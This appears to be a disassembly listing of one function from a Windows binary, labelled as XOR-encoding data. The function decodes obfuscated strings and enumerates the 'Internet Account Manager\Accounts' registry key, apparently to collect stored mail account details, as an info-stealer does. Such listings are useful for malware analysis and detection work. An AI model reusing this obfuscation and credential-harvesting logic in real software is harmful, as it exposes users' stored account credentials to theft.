Function at 0x418d73
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4693bc
call fcn.004685c0
sub esp, 0x160
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edx, ebx
movaps xmm0, xmmword [str.SoftwareMicrosoftInternet_Account_ManagerAccounts]
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x28], ebx
movups xmmword [ebp - 0xa6], xmm0
mov word [ebp - 0x96], 0xd8
mov cl, byte [ebp - 0xa6]
not cl
xor byte [ebp + edx - 0xa5], cl
inc edx
cmp edx, 0x10
jb 0x418daa
cmp dword [0x48aba8], 0x10
mov esi, 0x48ab94
mov eax, esi
mov byte [ebp - 0x95], bl
cmovae eax, dword [0x48ab94]
push eax
call fcn.0044759e
pop ecx
lea edx, [ebp - 0xa5]
mov ecx, eax
call fcn.004354d9
push eax
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], bl
call fcn.00413d68
mov byte [ebp - 0x24], bl
lea edx, [ebp - 0xc0]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 1
call fcn.004157c7
pop ecx
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 2
call fcn.0040cd0e
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x15], al
mov byte [ebp - 4], 1
call fcn.00413b3d
cmp byte [ebp - 0x15], 0
je 0x419107
mov byte [ebp - 0x24], bl
lea edx, [ebp - 0xc0]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x6c]
call fcn.004157c7
pop ecx
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x74]
call fcn.0040c930
lea ecx, [ebp - 0x6c]
call fcn.00413b3d
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x54]
call fcn.0040d946
mov edi, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], esi
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x94]
call fcn.0040d946
mov ecx, dword [ebp - 0x90]
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
mov eax, ebx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ebx
test ecx, ecx
je 0x418ec3
call fcn.0040b03f
mov eax, ebx
cmp edi, eax
je 0x4190e7
lea eax, [edi + 0x20]
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x24], eax
push ecx
mov ecx, eax
call fcn.0040bc87
push ecx
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 9
push ecx
mov ecx, eax
call fcn.004143b3
mov edi, dword [ebp - 0x28]
push ecx
or edi, 0x10
lea ecx, [ebp - 0x6c]
push 0x47b0bc
mov dword [ebp - 0x28], edi
call fcn.00413247
lea ecx, [ebp - 0x6c]
mov esi, eax
call fcn.00413d07
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 8
call fcn.00413b3d
cmp esi, 0xffffffff
je 0x4190ca
mov cl, 0x3e
mov dword [ebp - 0x1e], 0xada0963e
mov dword [ebp - 0x1a], 0xb2b5a4ad
mov edx, ebx
mov byte [ebp - 0x16], bl
not cl
xor byte [ebp + edx - 0x1d], cl
inc edx
cmp edx, 7
jae 0x418f52
mov cl, byte [ebp - 0x1e]
jmp 0x418f41
mov byte [ebp - 0x16], bl
call fcn.00435972
lea edx, [ebp - 0x1d]
mov ecx, eax
call fcn.004354d9
push 0xf
pop esi
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], esi
mov byte [ebp - 0x40], bl
call fcn.00413d68
lea ecx, [ebp - 0x40]
call fcn.0040d215
lea ecx, [ebp - 0x40]
call fcn.00413d07
movaps xmm0, xmmword [0x47f960]
mov edx, ebx
movups xmmword [ebp - 0x3a], xmm0
mov word [ebp - 0x2a], 0xbd
mov cl, byte [ebp - 0x3a]
not cl
xor byte [ebp + edx - 0x39], cl
inc edx
cmp edx, 0x10
jb 0x418f9c
mov byte [ebp - 0x29], bl
call fcn.00435972
lea edx, [ebp - 0x39]
mov ecx, eax
call fcn.004354d9
push eax
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], esi
mov byte [ebp - 0x6c], bl
call fcn.00413d68
lea ecx, [ebp - 0x6c]
call fcn.0040d215
lea ecx, [ebp - 0x6c]
call fcn.00413d07
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0xd8]
push eax
call fcn.0040bc87
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0xa
push ecx
mov ecx, eax
call fcn.004143b3
or edi, 0x80
mov dword [ebp - 0x28], edi
mov byte [ebp - 4], 0xb
mov edx, ebx
movaps xmm0, xmmword [0x47faf0]
movups xmmword [ebp - 0x3b], xmm0
mov word [ebp - 0x2b], 0x94a5
mov byte [ebp - 0x29], bl
mov cl, byte [ebp - 0x3b]
not cl
xor byte [ebp + edx - 0x3a], cl
inc edx
cmp edx, 0x11
jb 0x419024
mov byte [ebp - 0x29], bl
call fcn.00435972
lea edx, [ebp - 0x3a]
mov ecx, eax
call fcn.004354d9
lea ecx, [ebp - 0x8c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x108]
call fcn.0041c8db
pop ecx
mov esi, eax
push ecx
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 0xc
call fcn.004143b3
or edi, 0x400
lea ecx, [ebp - 0x6c]
mov edx, esi
mov dword [ebp - 0x28], edi
call fcn.00416050
lea ecx, [ebp - 0x6c]
call fcn.00413d07
lea ecx, [ebp - 0x108]
call fcn.00413d07
lea ecx, [ebp - 0x8c]
call fcn.00413d07
lea ecx, [ebp - 0xd8]
call fcn.00413b3d
jmp 0x4190ca
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], 7
call fcn.0040c97a
mov esi, dword [ebp - 0x48]
mov edi, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x54]
jmp 0x418ec3
test esi, esi
je 0x4190f2
mov ecx, esi
call fcn.0040b03f
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x70]
test ecx, ecx
je 0x419102
call fcn.0040b03f
mov esi, 0x48ab94
mov cl, 0x27
mov dword [ebp - 0x20], 0xac9d8427
mov dword [ebp - 0x1c], 0xbdaabdb0
mov edx, ebx
mov word [ebp - 0x18], 0xb5ad
mov byte [ebp - 0x16], bl
not cl
xor byte [ebp + edx - 0x1f], cl
inc edx
cmp edx, 9
jae 0x419133
mov cl, byte [ebp - 0x20]
jmp 0x419122
cmp dword [0x48aba8], 0x10
mov byte [ebp - 0x16], bl
cmovae esi, dword [0x48ab94]
push esi
call fcn.0044759e
pop ecx
lea edx, [ebp - 0x1f]
mov ecx, eax
call fcn.004354d9
push eax
lea ecx, [ebp - 0xc0]
call fcn.00413d68
mov byte [ebp - 0x24], bl
lea edx, [ebp - 0xc0]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x8c]
call fcn.004157c7
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0xe
call fcn.0040cd0e
lea ecx, [ebp - 0x8c]
mov byte [ebp - 0x15], al
mov byte [ebp - 4], 1
call fcn.00413b3d
cmp byte [ebp - 0x15], 0
je 0x41946d
mov byte [ebp - 0x24], bl
lea edx, [ebp - 0xc0]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x8c]
call fcn.004157c7
pop ecx
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x74]
call fcn.0040c930
lea ecx, [ebp - 0x8c]
call fcn.00413b3d
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040d946
mov edi, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x50], esi
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x94]
call fcn.0040d946
mov ecx, dword [ebp - 0x90]
xorps xmm0, xmm0
movlpd qword [ebp - 0x4c], xmm0
mov eax, ebx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ebx
test ecx, ecx
je 0x419222
call fcn.0040b03f
mov eax, ebx
mov byte [ebp - 4], 0x13
cmp edi, eax
je 0x419456
lea eax, [edi + 0x20]
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x24], eax
push ecx
mov ecx, eax
call fcn.0040bc87
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x15
push ecx
mov ecx, eax
call fcn.004143b3
mov edi, dword [ebp - 0x28]
push ecx
or edi, 0x20000
lea ecx, [ebp - 0x8c]
push 0x47b0bc
mov dword [ebp - 0x28], edi
call fcn.00413247
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.00413d07
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x14
call fcn.00413b3d
cmp esi, 0xffffffff
je 0x419439
mov cl, 0x4a
mov dword [ebp - 0x1e], 0xd9d4e24a
mov dword [ebp - 0x1a], 0xc6c1d0d9
mov edx, ebx
mov byte [ebp - 0x16], bl
not cl
xor byte [ebp + edx - 0x1d], cl
inc edx
cmp edx, 7
jae 0x4192c1
mov cl, byte [ebp - 0x1e]
jmp 0x4192b0
mov byte [ebp - 0x16], bl
call fcn.00435972
lea edx, [ebp - 0x1d]
mov ecx, eax
call fcn.004354d9
push 0xf
pop esi
push eax
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], esi
mov byte [ebp - 0x6c], bl
call fcn.00413d68
lea ecx, [ebp - 0x6c]
call fcn.0040d215
lea ecx, [ebp - 0x6c]
call fcn.00413d07
movaps xmm0, xmmword [0x47fc80]
mov edx, ebx
movups xmmword [ebp - 0x3a], xmm0
mov word [ebp - 0x2a], 0xc0
mov cl, byte [ebp - 0x3a]
not cl
xor byte [ebp + edx - 0x39], cl
inc edx
cmp edx, 0x10
jb 0x41930b
mov byte [ebp - 0x29], bl
call fcn.00435972
lea edx, [ebp - 0x39]
mov ecx, eax
call fcn.004354d9
push eax
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], esi
mov byte [ebp - 0x6c], bl
call fcn.00413d68
lea ecx, [ebp - 0x6c]
call fcn.0040d215
lea ecx, [ebp - 0x6c]
call fcn.00413d07
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x108]
push eax
call fcn.0040bc87
push ecx
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x16
push ecx
mov ecx, eax
call fcn.004143b3
or edi, 0x100000
mov dword [ebp - 0x28], edi
mov byte [ebp - 4], 0x17
mov edx, ebx
movaps xmm0, xmmword [0x47f8a0]
movups xmmword [ebp - 0x3b], xmm0
mov word [ebp - 0x2b], 0xbf8e
mov byte [ebp - 0x29], bl
mov cl, byte [ebp - 0x3b]
not cl
xor byte [ebp + edx - 0x3a], cl
inc edx
cmp edx, 0x11
jb 0x419390
mov byte [ebp - 0x29], bl
call fcn.00435972
lea edx, [ebp - 0x3a]
mov ecx, eax
call fcn.004354d9
lea ecx, [ebp - 0x6c]
mov edx, eax
push ecx
lea ecx, [ebp - 0xd8]
call fcn.0041c8db
pop ecx
mov esi, eax
push ecx
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x8c]
push eax
mov byte [ebp - 4], 0x18
call fcn.004143b3
or edi, 0x800000
lea ecx, [ebp - 0x8c]
mov edx, esi
mov dword [ebp - 0x28], edi
call fcn.00416050
lea ecx, [ebp - 0x8c]
call fcn.00413d07
lea ecx, [ebp - 0xd8]
call fcn.00413d07
lea ecx, [ebp - 0x6c]
call fcn.00413d07
lea ecx, [ebp - 0x108]
call fcn.00413b3d
jmp 0x419439
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 0x13
call fcn.0040c97a
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
jmp 0x419226
test esi, esi
je 0x419461
mov ecx, esi
call fcn.0040b03f
mov ecx, dword [ebp - 0x70]
test ecx, ecx
je 0x41946d
call fcn.0040b03f
lea ecx, [ebp - 0xc0]
call fcn.00413d07
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret